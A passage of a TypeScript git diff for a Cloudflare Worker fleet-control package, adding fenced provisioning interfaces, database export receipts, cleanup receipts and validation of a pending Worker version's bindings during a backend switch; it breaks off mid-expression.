+/** Result of a durable ordinary-Worker database export. */
+export interface PlainWorkerDatabaseExportResult
+  extends DatabaseExportIntegrity {
+  /** Durable location returned by the export store. */
+  readonly location: string;
+}
+
+/** Outcome of a provider mutation that may have been dispatched. */
+export type PlainWorkerMutationOutcome =
+  | Readonly<{ status: 'succeeded' }>
+  | Readonly<{ status: 'failed'; error: unknown }>;
+
+/**
+ * Adapter-owned post-dispatch cleanup outcome. A failure is never thrown by
+ * the adapter after dispatch; the caller surfaces it after reconciliation. An
+ * adapter with no adapter-owned scratch always reports `succeeded`.
+ */
+export type PlainWorkerCleanupOutcome =
+  | Readonly<{ status: 'succeeded' }>
+  | Readonly<{ status: 'failed'; error: unknown }>;
+
+/** Upload outcome including the adapter scratch-cleanup outcome. */
+export type PlainWorkerUploadOutcome = PlainWorkerMutationOutcome &
+  Readonly<{ cleanup: PlainWorkerCleanupOutcome }>;
+
+/** Shared provider intent for an ordinary Worker candidate upload. */
+export interface PlainWorkerUploadIntentBase {
+  /** Provider script name. */
+  readonly scriptName: string;
+  /** Fleet tag attached to the uploaded candidate. */
+  readonly candidateTag: string;
+  /** Main module selected from the uploaded modules. */
+  readonly mainModule: string;
+  /** Worker modules to upload. */
+  readonly modules: readonly WorkerModule[];
+  /** Worker compatibility date. */
+  readonly compatibilityDate: string;
+  /** Worker compatibility flags, preserving provider-config omission. */
+  readonly compatibilityFlags: readonly string[] | undefined;
+  /** Desired Worker bindings. */
+  readonly bindings: {
+    readonly plainText: readonly {
+      readonly name: string;
+      readonly value: string;
+    }[];
+    readonly secrets: readonly {
+      readonly name: string;
+      readonly value: string;
+    }[];
+    readonly d1: readonly {
+      readonly name: string;
+      readonly databaseId: string;
+      readonly databaseName: string;
+    }[];
+    readonly durableObjects: readonly {
+      readonly name: string;
+      readonly className: string;
+    }[];
+    readonly services: readonly {
+      readonly name: string;
+      readonly service: string;
+    }[];
+    readonly queueProducers: readonly {
+      readonly name: string;
+      readonly queueName: string;
+    }[];
+    readonly r2Buckets: readonly {
+      readonly name: string;
+      readonly bucketName: string;
+    }[];
+  };
+  /** Desired Worker resource limits. */
+  readonly limits: {
+    readonly cpuMs: number | undefined;
+    readonly subrequests?: number;
+  };
+  /** Ordinary Worker public-access mechanics applied by this upload. */
+  readonly publicAccess: {
+    readonly workersDevEnabled: boolean;
+    readonly previewUrlsEnabled: boolean;
+  };
+}
+
+/** Intent for an initial deploy or staged ordinary Worker version upload. */
+export type PlainWorkerUploadIntent = PlainWorkerUploadIntentBase &
+  (
+    | Readonly<{
+        mode: 'initial';
+        durableObjectMigrations: readonly DurableObjectMigration[];
+      }>
+    | Readonly<{ mode: 'staged' }>
+  );
+
+/**
+ * Provider operations shared by ordinary-Worker adapters.
+ *
+ * Every mutating member that takes an `ExternalMutationFence` must assert it
+ * immediately before each provider request it issues. The Cloudflare transport
+ * enforces this requirement for `CloudflareProvisioningClient`.
+ * `withMutationFence` carries the active fence through nested provider calls.
+ */
 export interface PlainWorkerRouteApi {
   withMutationFence<T>(
     fence: ExternalMutationFence,
@@ -551,6 +1583,17 @@ export interface PlainWorkerRouteApi {
       dispatchNamespace?: string;
     }>[]
   >;
+  /**
+   * Advances one bounded, read-only attachment scan chunk.
+   *
+   * The implementation must use the same Cloudflare account and credential
+   * authority as this port's teardown mutations, including when a route API is
+   * paired with a Wrangler runner. It never performs an unbounded fallback and
+   * returns no durable absence or deletion authority.
+   */
+  advanceDecommissionAttachmentScan?(
+    input: DecommissionAttachmentScanInput,
+  ): Promise<DecommissionAttachmentScanResult>;
   getR2Bucket?(
     bucketName: string,
     jurisdiction: R2Jurisdiction,
@@ -617,12 +1660,165 @@ export interface PlainWorkerRouteApi {
   ): Promise<void>;
 }
 
+/**
+ * Provider-neutral port whose methods return provider facts and perform
+ * provider mechanics. Absence policy, malformed-fact refusals, ordering,
+ * reconciliation, and compensation belong to the caller.
+ *
+ * A method whose result type cannot represent a malformed provider fact refuses
+ * it in the adapter (e.g. `getDatabase` (`DatabaseReference` has required string
+ * fields) and `exportDatabase` (`location` is required)); every other
+ * malformed-fact refusal belongs to the caller.
+ *
+ * A method declared here that accepts an `ExternalMutationFence`, other than
+ * `deleteDatabaseFenced`, asserts it immediately before every provider request
+ * it issues through the command runner or route API. `deleteDatabaseFenced`
+ * runs inside `withMutationFence` and relies on the route API's per-request
+ * assertion. The direct-API adapter does not pre-assert either, so both
+ * adapters have identical assertion counts.
+ *
+ * A method that resolves a `PlainWorkerMutationOutcome` over a transport that
+ * asserts per request must ALSO assert explicitly before dispatch, so a lost
+ * lease rejects instead of resolving `failed` and triggering readback.
+ *
+ * `PlainWorkerRouteApi.withMutationFence` entry is not itself an ownership
+ * assertion; assertion belongs to each mutating request. Nested scopes retain
+ * that request-level contract. Inherited `PlainWorkerRouteApi` members retain
+ * their own contract.
+ *
+ * `undefined` and `'absent'` mean provider absence only. Adapters propagate
+ * provider status and classification, may strip transport bodies and redact
+ * secret material from messages, and never classify a fence failure as
+ * absence. Methods without an absence-typed result do not classify absence.
+ *
+ * `createDatabase`, `uploadCandidate`, and `createDeployment` resolve a failed
+ * outcome only after a provider mutation request was dispatched and failed or
+ * its result became unknown; a preceding provider read does not count as
+ * dispatch. They reject failures that provably predate that dispatch, including
+ * fence assertion and local preparation failures. Other mutations reject on
+ * failure except for their documented absence result.
+ */
+export interface PlainWorkerProvisioningApi extends PlainWorkerRouteApi {
+  /** Maximum duration of any one provider mutation request after assertion. */
+  readonly maxMutationDurationMs: number;
+  /** Whether immutable-ID D1 reads and deletion are both available. */
+  readonly supportsExactDatabaseDeletion: boolean;
+  /**
+   * Lists D1 database inventory facts visible to the adapter. A name filter
+   * narrows the listing toward that name; an adapter forwards it where the
+   * provider accepts one and filters locally otherwise, so a caller that needs
+   * an exact match still compares the returned names.
+   */
+  listDatabases(
+    filter?: Readonly<{ name?: string }>,
+  ): Promise<readonly PlainWorkerDatabaseInventoryEntry[]>;
+  /** Reads a D1 database, returning undefined only for provider absence. */
+  getDatabase(databaseId: string): Promise<DatabaseReference | undefined>;
+  /** Creates a D1 database and reports a dispatched mutation outcome. */
+  createDatabase(
+    name: string,
+    fence: ExternalMutationFence,
+  ): Promise<PlainWorkerMutationOutcome>;
+  /** Prevents the shared core from using the inherited unfenced deletion. */
+  readonly deleteDatabase?: never;
+  /** Deletes a D1 database by immutable ID through the fenced route API. */
+  deleteDatabaseFenced(
+    databaseId: string,
+    fence: ExternalMutationFence,
+  ): Promise<void>;
+  /** Reads deployment facts, returning undefined only for provider absence. */
+  deploymentStatus(
+    scriptName: string,
+  ): Promise<PlainWorkerDeploymentStatus | undefined>;
+  /**
+   * Lists the provider's Worker version inventory, or `undefined` for provider
+   * absence. The listing is bounded by item count and rejects rather than
+   * truncating.
+   */
+  listVersions(
+    scriptName: string,
+  ): Promise<readonly PlainWorkerVersionSummary[] | undefined>;
+  /** Strictly reads one version and never classifies provider absence. */
+  viewVersion(
+    scriptName: string,
+    versionId: string,
+  ): Promise<PlainWorkerVersionDetail>;
+  /** Reads one version, returning undefined only for provider absence. */
+  findVersion(
+    scriptName: string,
+    versionId: string,
+  ): Promise<PlainWorkerVersionDetail | undefined>;
+  /**
+   * Uploads a candidate and reports dispatch and cleanup outcomes separately.
+   * Scratch, if any, is adapter-owned and exists only for the duration of the
+   * call. If a pre-dispatch failure (fence assertion or local preparation) and
+   * scratch cleanup both occur, rejects with an `AggregateError` containing the
+   * pre-dispatch error followed by the cleanup error; neither failure is
+   * discarded.
+   */
+  uploadCandidate(
+    intent: PlainWorkerUploadIntent,
+    fence: ExternalMutationFence,
+  ): Promise<PlainWorkerUploadOutcome>;
+  /** Creates a deployment and reports a dispatched mutation outcome. */
+  createDeployment(
+    scriptName: string,
+    versions: readonly OrdinaryWorkerDeploymentVersion[],
+    fence: ExternalMutationFence,
+  ): Promise<PlainWorkerMutationOutcome>;
+  /** Deletes a Worker script, returning absent only for provider absence. */
+  deleteWorkerScript(
+    scriptName: string,
+    fence: ExternalMutationFence,
+  ): Promise<'deleted' | 'absent'>;
+  /** Exports a D1 database into the durable store with independent integrity. */
+  exportDatabase(
+    database: { readonly id: string; readonly name: string },
+    fence: ExternalMutationFence,
+  ): Promise<PlainWorkerDatabaseExportResult>;
+  /**
+   * Canonical receipt storage authority. Present together with
+   * `exportDatabaseReceipt`, absent together when unsupported, and immutable
+   * for every retry of one receipt identity.
+   */
+  readonly databaseExportReceiptAuthority?: string;
+  /**
+   * Streams one operation-scoped export whose eager source-integrity promise is
+   * independently verified by the configured store. An exact retry converges;
+   * an identity or byte collision is preserved and refused.
+   */
+  exportDatabaseReceipt?(
+    identity: DatabaseExportReceiptIdentity,
+    fence: ExternalMutationFence,
+  ): Promise<PlainWorkerDatabaseExportResult>;
+}
+
 export interface FleetStateLease extends ExternalMutationFence {
   readonly tenantTag: string;
   readonly environment: string;
   renew(): Promise<void>;
   put(record: FleetRecord): Promise<void>;
   delete(): Promise<void>;
+  /**
+   * Atomically persists the immutable terminal cleanup receipt, releases this
+   * deployment's ownership claims, and deletes the Fleet row in one guarded
+   * batch. Optional so external lease implementations do not break; callers
+   * detect it with `Reflect.has`.
+   */
+  completeCleanup?(
+    input: Readonly<{
+      /** The terminal receipt, without `completedAtMs`. */
+      receipt: CleanupTerminalReceipt;
+      /** The intent revision the engine acted on. */
+      expectedRevision: number;
+    }>,
+  ): Promise<CleanupTerminalReceipt>;
+  /**
+   * Force path: deletes the Fleet row AND releases this deployment's current
+   * claims, with no receipt. Optional; legacy lease implementations keep
+   * tombstone claims through `delete()`.
+   */
+  deleteReleasingClaims?(): Promise<void>;
 }
 
 export interface FleetStateStore {
@@ -633,6 +1829,19 @@ export interface FleetStateStore {
   ): Promise<T>;
   get(tenantTag: string, environment: string): Promise<FleetRecord | undefined>;
   list(): Promise<readonly FleetRecord[]>;
+  /** Reads one immutable terminal cleanup receipt by operation id. */
+  readCleanupReceipt?(
+    operationId: string,
+  ): Promise<CleanupTerminalReceipt | undefined>;
+  /**
+   * Bounded explicit receipt GC: deletes at most `limit` receipts whose
+   * D1-assigned `completedAtMs` is before the cutoff, in stable
+   * completed-time-then-operation order. `limit` is an integer from 1 to
+   * 1,000; anything else fails closed.
+   */
+  pruneCleanupReceipts?(
+    input: Readonly<{ completedBeforeMs: number; limit: number }>,
+  ): Promise<Readonly<{ deleted: number }>>;
 }
 
 export type ForceDecommissionStep =
@@ -821,6 +2030,13 @@ export interface ProvisioningBackend {
   readonly immutableExternalArtifacts?: true;
   releaseScriptName?(spec: DeploymentSpec): string;
   findDatabase(spec: DeploymentSpec): Promise<DatabaseReference | undefined>;
+  /**
+   * Reads one database by immutable ID. Only `undefined` means absence.
+   *
+   * Present results are descriptor-safe plain data with bounded `id` and
+   * `name`, `created: false`, and optional safe plain-data fields. Destructive
+   * consumers reconstruct the required fields and discard extras.
+   */
   getDatabase(databaseId: string): Promise<DatabaseReference | undefined>;
   ensureDatabase(
     spec: DeploymentSpec,
@@ -858,6 +2074,16 @@ export interface ProvisioningBackend {
     migrations: readonly D1Migration[],
     fence: ExternalMutationFence,
   ): Promise<void>;
+  /**
+   * Advances one bounded, read-only attachment scan chunk.
+   *
+   * It must use the same provider authority as this backend's teardown
+   * mutations, never perform an unbounded fallback, and return no durable
+   * absence or deletion authority.
+   */
+  advanceDecommissionAttachmentScan?(
+    input: DecommissionAttachmentScanInput,
+  ): Promise<DecommissionAttachmentScanResult>;
   findApplicationR2Bucket?(
     resource: ApplicationR2Binding,
   ): Promise<ApplicationR2BucketSnapshot | undefined>;
@@ -991,10 +2217,41 @@ export interface ProvisioningBackend {
     database: DatabaseReference,
     fence: ExternalMutationFence,
   ): Promise<void>;
+  /**
+   * Checks deployment-owned D1 deletion residuals without enumerating the
+   * account-wide Worker attachment inventory.
+   *
+   * This retains deployment identity, route, release, inventory, control
+   * Worker, Durable Object, and initial/final lease checks. It is read-only and
+   * is not durable absence or deletion authority.
+   */
+  assertDatabaseDeletionResidualsRemoved?(
+    spec: DeploymentSpec,
+    record: FleetRecord,
+    database: DatabaseReference,
+    fence: ExternalMutationFence,
+  ): Promise<void>;
   exportDatabase(
     database: DatabaseReference,
     fence: ExternalMutationFence,
   ): Promise<DatabaseExport>;
+  /**
+   * Canonical receipt storage authority. Present together with
+   * `exportDatabaseReceipt`, absent together when unsupported, and immutable
+   * for every retry of one receipt identity.
+   */
+  readonly databaseExportReceiptAuthority?: string;
+  /**
+   * Exports one operation-scoped receipt. The lower store consumes the body
+   * while its eager source-integrity promise settles, exact retries converge,
+   * and identity or byte collisions are preserved and refused. The result must
+   * be descriptor-safe plain data; bounded destructive consumers reconstruct
+   * the required export fields and discard safe extras.
+   */
+  exportDatabaseReceipt?(
+    identity: DatabaseExportReceiptIdentity,
+    fence: ExternalMutationFence,
+  ): Promise<DatabaseExport>;
   deleteDatabase(
     database: DatabaseReference,
     fence: ExternalMutationFence,
diff --git a/packages/fleet-control/src/workers-for-platforms-backend-switch-provider.ts b/packages/fleet-control/src/workers-for-platforms-backend-switch-provider.ts
index ec48363d..5f85889f 100644
--- a/packages/fleet-control/src/workers-for-platforms-backend-switch-provider.ts
+++ b/packages/fleet-control/src/workers-for-platforms-backend-switch-provider.ts
@@ -6,6 +6,7 @@ import { AUDIT_PROXY_INSTANCE_NAME } from '@proofoftech/flowsafe/audit-export';
 import {
   applicationBindingTopology,
   applicationSecretValues,
+  canonicalApplicationBindings,
   DEPLOYMENT_PLATFORM_VARIABLE_NAMES,
   LEGACY_BRIDGE_PLATFORM_VARIABLE_NAMES,
   liveApplicationTopologyMatches,
@@ -17,9 +18,14 @@ import type {
   BridgeMutationPlan,
   BridgeSnapshot,
   PlainBackendSnapshot,
+  SwitchEntryPendingArtifactInspection,
 } from './backend-switch.js';
 import { finalizedBridgeForRecord } from './backend-switch.js';
-import { workerMigrations } from './cloudflare-client.js';
+import { workerMigrations } from './cloudflare-ordinary-worker-operations.js';
+import {
+  captureDatabaseExportReceiptCapability,
+  databaseExportReceiptIdentityFromUnknown,
+} from './database-export-store.js';
 import type { HostRoutingTarget } from './host-routing.js';
 import { parseHostRoutingTarget } from './host-routing.js';
 import { d1MigrationHistoryDigest } from './migration-ledger.js';
@@ -35,10 +41,18 @@ import {
   trustedArtifactDigest,
   validateExternalPlatformProfile,
 } from './platform-resources.js';
-import { assertProviderBindingIdentitiesMatchInspection } from './provider-binding-inventory.js';
+import {
+  assertCompleteWorkerPublicAccess,
+  assertProviderBindingIdentitiesMatchInspection,
+  assertSupportedPlainWorkerBindings,
+} from './provider-binding-inventory.js';
 import { deploymentSpecDigest } from './spec-digest.js';
 import type {
   ApplicationBindingTopology,
+  DatabaseExportReceiptIdentity,
+  DatabaseReference,
+  DecommissionAttachmentScanInput,
+  DecommissionAttachmentScanResult,
   DeploymentSecrets,
   DeploymentSpec,
   DurableObjectBindingInventory,
@@ -246,6 +260,45 @@ function sameJson(left: unknown, right: unknown): boolean {
   return JSON.stringify(left) === JSON.stringify(right);
 }
 
+function sortedRecordEntries(
+  value: Readonly<Record<string, string>>,
+): readonly (readonly [string, string])[] {
+  return Object.entries(value).sort(([left], [right]) =>
+    left < right ? -1 : left > right ? 1 : 0,
+  );
+}
+
+const PLAIN_WORKER_INGRESS_CONTRACT = 'guarded-object-v1';
+
+function sortByName<T extends Readonly<{ name: string }>>(
+  values: readonly T[],
+): readonly T[] {
+  return [...values].sort((left, right) =>
+    left.name < right.name ? -1 : left.name > right.name ? 1 : 0,
+  );
+}
+
+function canonicalUniqueNames(value: readonly string[]): readonly string[] {
+  if (
+    !Array.isArray(value) ||
+    value.some(
+      (name) =>
+        typeof name !== 'string' || name.length === 0 || name !== name.trim(),
+    )
+  ) {
+    throw new Error('backend switch pending artifact inspection is malformed');
+  }
+  const names = [...value].sort();
+  if (new Set(names).size !== names.length) {
+    throw new Error('backend switch pending artifact inspection is malformed');
+  }
+  return names;
+}
+
+function pendingArtifactInspectionMalformed(): Error {
+  return new Error('backend switch pending artifact inspection is malformed');
+}
+
 type ProviderControlWorkerInspection = NonNullable<
   Awaited<ReturnType<WorkersForPlatformsApi['inspectControlWorker']>>
 >;
@@ -464,6 +517,17 @@ export interface WorkersForPlatformsBackendSwitchProviderOptions {
 }
 
 export interface BackendSwitchApi extends WorkersForPlatformsApi {
+  /** Intersects exact namespace IDs through one bounded account inventory. */
+  existingDurableObjectNamespaceIds(
+    ids: readonly string[],
+  ): Promise<readonly string[]>;
+  /** Reads exactly one immutable ordinary Worker version by provider ID. */
+  findOrdinaryWorkerVersion(
+    scriptName: string,
+    versionId: string,
+  ): Promise<import('./types.js').PlainWorkerVersionDetail | undefined>;
+  /** Reads the authoritative name-only secret inventory for one script. */
+  listOrdinaryWorkerSecretNames(scriptName: string): Promise<readonly string[]>;
   listCustomDomains(): Promise<
     readonly Readonly<{ id: string; hostname: string; service: string }>[]
   >;
@@ -499,11 +563,35 @@ export interface SwitchBridgeRemovalAuthority {
   readonly plan?: BridgeMutationPlan;
   readonly targetSpec: DeploymentSpec;
   readonly allowedArtifactVersions: readonly string[];
+  /**
+   * Call-local immutable authority for a pending ordinary Worker captured
+   * before the decommission shell committed.
+   */
+  readonly entryPendingArtifact?: Readonly<{
+    readonly artifactVersion: string;
+    readonly namespaceIds: readonly string[];
+    readonly spec: DeploymentSpec;
+  }>;
 }
 
 export class WorkersForPlatformsBackendSwitchProvider
   implements BackendSwitchProvider
 {
+  /** Bounded attachment scan capability captured from the client receiver. */
+  declare readonly advanceSwitchDecommissionAttachmentScan?: (
+    input: DecommissionAttachmentScanInput,
+  ) => Promise<DecommissionAttachmentScanResult>;
+  /** Immutable receipt authority paired with `exportSwitchDatabaseReceipt`. */
+  declare readonly databaseExportReceiptAuthority?: string;
+  /** Operation-scoped export receipt captured from the client receiver. */
+  declare readonly exportSwitchDatabaseReceipt?: (
+    identity: DatabaseExportReceiptIdentity,
+    input: Readonly<{
+      prior: PlainBackendSnapshot;
+      targetSpec: DeploymentSpec;
+      fence: BackendSwitchMutationFence;
+    }>,
+  ) => Promise<import('./types.js').DatabaseExport>;
   readonly #client: BackendSwitchApi;
   readonly #backend: WorkersForPlatformsBackend;
   readonly #hostRoutingKvId: string;
@@ -534,6 +622,44 @@ export class WorkersForPlatformsBackendSwitchProvider
     this.#platformProfileFor = options.platformProfileFor;
     this.#assertServing = options.assertServing;
     this.#drainCandidate = options.drainCandidate;
+    const advanceAttachmentScan =
+      options.client.advanceDecommissionAttachmentScan;
+    if (typeof advanceAttachmentScan === 'function') {
+      this.advanceSwitchDecommissionAttachmentScan = advanceAttachmentScan.bind(
+        options.client,
+      );
+    }
+    const receiptCapability = captureDatabaseExportReceiptCapability(
+      options.client,
+      () => [
+        options.client.databaseExportReceiptAuthority,
+        options.client.exportDatabaseReceipt,
+      ],
+    );
+    if (receiptCapability) {
+      const exportDatabaseReceipt = receiptCapability.method as NonNullable<
+        BackendSwitchApi['exportDatabaseReceipt']
+      >;
+      this.databaseExportReceiptAuthority = receiptCapability.authority;
+      this.exportSwitchDatabaseReceipt = (identity, input) => {
+        const canonical = databaseExportReceiptIdentityFromUnknown(
+          identity,
+          receiptCapability.authority,
+        );
+        if (
+          canonical.databaseId !== input.prior.databaseId ||
+          input.prior.databaseName !== input.targetSpec.databaseName ||
+          input.prior.scriptName !== input.targetSpec.scriptName
+        ) {
+          throw new Error(
+            'backend-switch database identity changed before teardown',
+          );
+        }
+        return this.#client.withMutationFence(input.fence, () =>
+          exportDatabaseReceipt(canonical),
+        );
+      };
+    }
   }
 
   async #inspectControlWorker(scriptName: string) {
@@ -558,6 +684,229 @@ export class WorkersForPlatformsBackendSwitchProvider
     return inspection;
   }
 
+  /**
+   * Captures one immutable pending ordinary Worker version without adopting
+   * active-deployment or account-wide namespace observations as authority.
+   */
+  async captureSwitchEntryPendingArtifact(
+    input: Readonly<{
+      readonly expectedArtifactVersion: string;
+      readonly spec: DeploymentSpec;
+      readonly currentRecord: FleetRecord;
+      readonly fence: BackendSwitchMutationFence;
+    }>,
+  ): Promise<unknown> {
+    const [version, secretInventory] = await Promise.all([
+      this.#client.findOrdinaryWorkerVersion(
+        input.spec.scriptName,
+        input.expectedArtifactVersion,
+      ),
+      this.#client.listOrdinaryWorkerSecretNames(input.spec.scriptName),
+    ]);
+    try {
+      if (!version) throw pendingArtifactInspectionMalformed();
+      const specDigest = deploymentSpecDigest(input.spec);
+      if (
+        version.versionId !== input.expectedArtifactVersion ||
+        version.tag !== specDigest ||
+        input.currentRecord.tenantTag !== input.spec.tenantTag ||
+        input.currentRecord.environment !== input.spec.environment ||
+        input.currentRecord.scriptName !== input.spec.scriptName ||
+        input.currentRecord.databaseName !== input.spec.databaseName
+      ) {
+        throw pendingArtifactInspectionMalformed();
+      }
+      assertSupportedPlainWorkerBindings(
+        version.bindings,
+        `plain Worker '${input.spec.scriptName}' pending version`,
+      );
+      const databaseBindings = version.bindings.flatMap((binding) =>
+        binding.type === 'd1' &&
+        typeof binding.name === 'string' &&
+        typeof binding.databaseId === 'string'
+          ? [{ name: binding.name, databaseId: binding.databaseId }]
+          : [],
+      );
+      const durableObjectBindings = sortByName(
+        version.bindings.flatMap((binding) =>
+          binding.type === 'durable-object' &&
+          typeof binding.name === 'string' &&
+          typeof binding.className === 'string' &&
+          typeof binding.namespaceId === 'string'
+            ? [
+                {
+                  name: binding.name,
+                  className: binding.className,
+                  namespaceId: binding.namespaceId,
+                  ...(binding.scriptName === undefined
+                    ? {}
+                    : { scriptName: binding.scriptName }),
+                  ...(binding.dispatchNamespace === undefined
+                    ? {}
+                    : { dispatchNamespace: binding.dispatchNamespace }),
+                },
+              ]
+            : [],
+        ),
+      );
+      const serviceBindings = sortByName(
+        version.bindings.flatMap((binding) =>
+          binding.type === 'service' &&
+          typeof binding.name === 'string' &&
+          typeof binding.service === 'string'
+            ? [
+                {
+                  name: binding.name,
+                  service: binding.service,
+                  ...(binding.entrypoint === undefined
+                    ? {}
+                    : { entrypoint: binding.entrypoint }),
+                },
+              ]
+            : [],
+        ),
+      );
+      const queueProducerBindings = sortByName(
+        version.bindings.flatMap((binding) =>
+          binding.type === 'queue-producer' &&
+          typeof binding.name === 'string' &&
+          typeof binding.queueName === 'string'
+            ? [{ name: binding.name, queueName: binding.queueName }]
+            : [],
+        ),
+      );
+      const r2BucketBindings = sortByName(
+        version.bindings.flatMap((binding) =>
+          binding.type === 'r2-bucket' &&
+          typeof binding.name === 'string' &&
+          typeof binding.bucketName === 'string'
+            ? [
+                {
+                  name: binding.name,
+                  bucketName: binding.bucketName,
+                  ...(binding.jurisdiction === undefined
+                    ? {}
+                    : { jurisdiction: binding.jurisdiction }),
+                },
+              ]
+            : [],
+        ),
+      );
+      const plainTextBindings = Object.fromEntries(
+        version.bindings.flatMap((binding) =>
+          binding.type === 'plain-text' &&
+          typeof binding.name === 'string' &&
+          typeof binding.value === 'string'
+            ? [[binding.name, binding.value] as const]
+            : [],
+        ),
+      );
+      const versionSecretNames = canonicalUniqueNames(
+        version.bindings.flatMap((binding) =>
+          binding.type === 'secret-text' && typeof binding.name === 'string'
+            ? [binding.name]
+            : [],
+        ),
+      );
+      const authoritativeSecretNames = canonicalUniqueNames(secretInventory);
+      const application = applicationBindingTopology(
+        input.spec,
+        input.currentRecord.applicationResources ?? [],
+      );
+      const expectedDurableObjectBindings = sortByName(
+        input.spec.durableObjectBindings.map((binding) => ({ ...binding })),
+      );
+      const expectedServiceBindings = input.spec.egressProxyService
+        ? [{ name: 'EGRESS_PROXY', service: input.spec.egressProxyService }]
+        : [];
+      const expectedQueueProducerBindings = input.spec.queueProducer
+        ? [
+            {
+              name: input.spec.queueProducer.binding,
+              queueName: input.spec.queueProducer.queueName,
+            },
+          ]
+        : [];
+      const expectedPlainTextBindings = Object.fromEntries(
+        [
+          { name: 'DEPLOYMENT_TENANT', value: input.spec.tenantTag },
+          { name: 'FLEET_ENVIRONMENT', value: input.spec.environment },
+          {
+            name: 'FLEET_SCHEMA_VERSION',
+            value: String(input.spec.schemaVersion),
+          },
+          { name: 'FLEET_SPEC_DIGEST', value: specDigest },
+          {
+            name: 'FLEET_INGRESS_CONTRACT',
+            value: PLAIN_WORKER_INGRESS_CONTRACT,
+          },
+          ...canonicalApplicationBindings(input.spec).vars,
+        ].map(({ name, value }) => [name, value] as const),
+      );
+      const expectedSecrets = expectedSecretNames(false, application);
+      const expectedR2Bindings = sortByName(
+        application.r2Buckets.map(({ name, bucketName, jurisdiction }) => ({
+          name,
+          bucketName,
+          jurisdiction,
+        })),
+      );
+      const observedR2Identity = r2BucketBindings.map(
+        ({ name, bucketName, jurisdiction }) => ({
+          name,
+          bucketName,
+          jurisdiction:
+            jurisdiction ??
+            expectedR2Bindings.find((binding) => binding.name === name)
+              ?.jurisdiction,
+        }),
+      );
+      if (
+        !sameJson(databaseBindings, [
+          { name: 'DB', databaseId: input.currentRecord.databaseId },
+        ]) ||
+        !sameJson(
+          durableObjectBindings.map(
+            ({ name, className, scriptName, dispatchNamespace }) => ({
+              name,
+              className,
+              ...(scriptName === undefined ? {} : { scriptName }),
+              ...(dispatchNamespace === undefined ? {} : { dispatchNamespace }),
+            }),
+          ),
+          expectedDurableObjectBindings,
+        ) ||
+        new Set(durableObjectBindings.map(({ namespaceId }) => namespaceId))
+          .size !== durableObjectBindings.length ||
+        !sameJson(serviceBindings, expectedServiceBindings) ||
+        !sameJson(queueProducerBindings, expectedQueueProducerBindings) ||
+        !sameJson(observedR2Identity, expectedR2Bindings) ||
+        !sameJson(
+          sortedRecordEntries(plainTextBindings),
+          sortedRecordEntries(expectedPlainTextBindings),
+        ) ||
+        !sameJson(authoritativeSecretNames, expectedSecrets) ||
+        (versionSecretNames.length > 0 &&
+          !sameJson(versionSecretNames, authoritativeSecretNames)) ||
+        !sameJson(input.currentRecord.applicationBindings, application)
+      ) {
+        throw pendingArtifactInspectionMalformed();
+      }
+      return {
+        artifactVersion: input.expectedArtifactVersion,
+        specDigest,
+        databaseIds: [input.currentRecord.databaseId],
+        durableObjectBindings,
+        secretNames: authoritativeSecretNames,
+        serviceBindings,
+        queueProducerBindings,
+        application,
+      } satisfies SwitchEntryPendingArtifactInspection;
+    } catch {
+      throw pendingArtifactInspectionMalformed();
+    }
+  }
+
   #profile(spec: DeploymentSpec): ExternalPlatformProfile {
     const profile = this.#platformProfileFor(spec);
     validateExternalPlatformProfile(spec, profile);
@@ -1738,8 +2087,15 @@ export class WorkersForPlatformsBackendSwitchProvider
       this.#profile(input.targetSpec),
       input.targetSpec.queueProducer !== undefined,
     );
+    const {
+      pendingSpecDigest: _pendingSpecDigest,
+      pendingArtifactVersion: _pendingArtifactVersion,
+      pendingRelease: _pendingRelease,
+      migrationIntent: _migrationIntent,
+      ...currentRecord
+    } = input.currentRecord;
     return {
-      ...input.currentRecord,
+      ...currentRecord,
       backend: 'workers-for-platforms',
       scriptName: input.prior.scriptName,
       databaseId: input.prior.databaseId,
@@ -1786,10 +2142,6 @@ export class WorkersForPlatformsBackendSwitchProvider
         sharedOutboundWorkerName: this.#sharedOutboundWorkerName,
       },
       phase: 'ready',
-      pendingSpecDigest: undefined,
-      pendingArtifactVersion: undefined,
-      pendingRelease: undefined,
-      migrationIntent: undefined,
     };
   }
 
@@ -2094,6 +2446,7 @@ export class WorkersForPlatformsBackendSwitchProvider
     const footprint = await this.#client.inspectOrdinaryWorkerFootprint(
       input.prior.scriptName,
     );
+    assertCompleteWorkerPublicAccess(footprint);
     if (live ? !footprint.scriptPresent : footprint.scriptPresent) {
       throw new Error(
         'refusing to mutate backend-switch traffic with an inconsistent ordinary Worker footprint',
@@ -2204,6 +2557,7 @@ export class WorkersForPlatformsBackendSwitchProvider
       this.#client.listCustomDomains(),
       this.#client.inspectOrdinaryWorkerFootprint(input.prior.scriptName),
     ]);
+    assertCompleteWorkerPublicAccess(footprint);
     if (
       route !== undefined ||
       domains.some((domain) => domain.service === input.prior.scriptName) ||
@@ -2430,6 +2784,119 @@ export class WorkersForPlatformsBackendSwitchProvider
     return bindings;
   }
 
+  #pendingEntryWorkerMatches(
+    live: ProviderControlWorkerInspection,
+    input: SwitchBridgeRemovalAuthority,
+  ): boolean {
+    const pending = input.entryPendingArtifact;
+    if (!pending || live.artifactVersion !== pending.artifactVersion) {
+      return false;
+    }
+    let application: ApplicationBindingTopology;
+    try {
+      const descriptors = canonicalApplicationBindings(pending.spec);
+      const liveR2 = sortByName(live.r2BucketBindings ?? []);
+      if (
+        !sameJson(
+          liveR2.map(({ name, jurisdiction }) => ({ name, jurisdiction })),
+          descriptors.r2Buckets.map(({ name, jurisdiction }) => ({
+            name,
+            jurisdiction: jurisdiction ?? 'default',
+          })),
+        )
+      ) {
+        return false;
+      }
+      application = {
+        vars: descriptors.vars,
+        secrets: descriptors.secrets,
+        r2Buckets: liveR2,
+      };
+    } catch {
+      return false;
+    }
+    const expectedDurableObjectBindings = sortByName(
+      pending.spec.durableObjectBindings.map((binding) => ({ ...binding })),
+    );
+    const liveDurableObjectBindings = sortByName(
+      live.durableObjectBindings.map(
+        ({ name, className, scriptName, dispatchNamespace }) => ({
+          name,
+          className,
+          ...(scriptName === undefined ? {} : { scriptName }),
+          ...(dispatchNamespace === undefined ? {} : { dispatchNamespace }),
+        }),
+      ),
+    );
+    const expectedServiceBindings = pending.spec.egressProxyService
+      ? [
+          {
+            name: 'EGRESS_PROXY',
+            service: pending.spec.egressProxyService,
+          },
+        ]
+      : [];
+    const expectedQueueBindings = pending.spec.queueProducer
+      ? [
+          {
+            name: pending.spec.queueProducer.binding,
+            queueName: pending.spec.queueProducer.queueName,
+          },
+        ]
+      : [];
+    return (
+      deploymentSpecDigest(pending.spec) ===
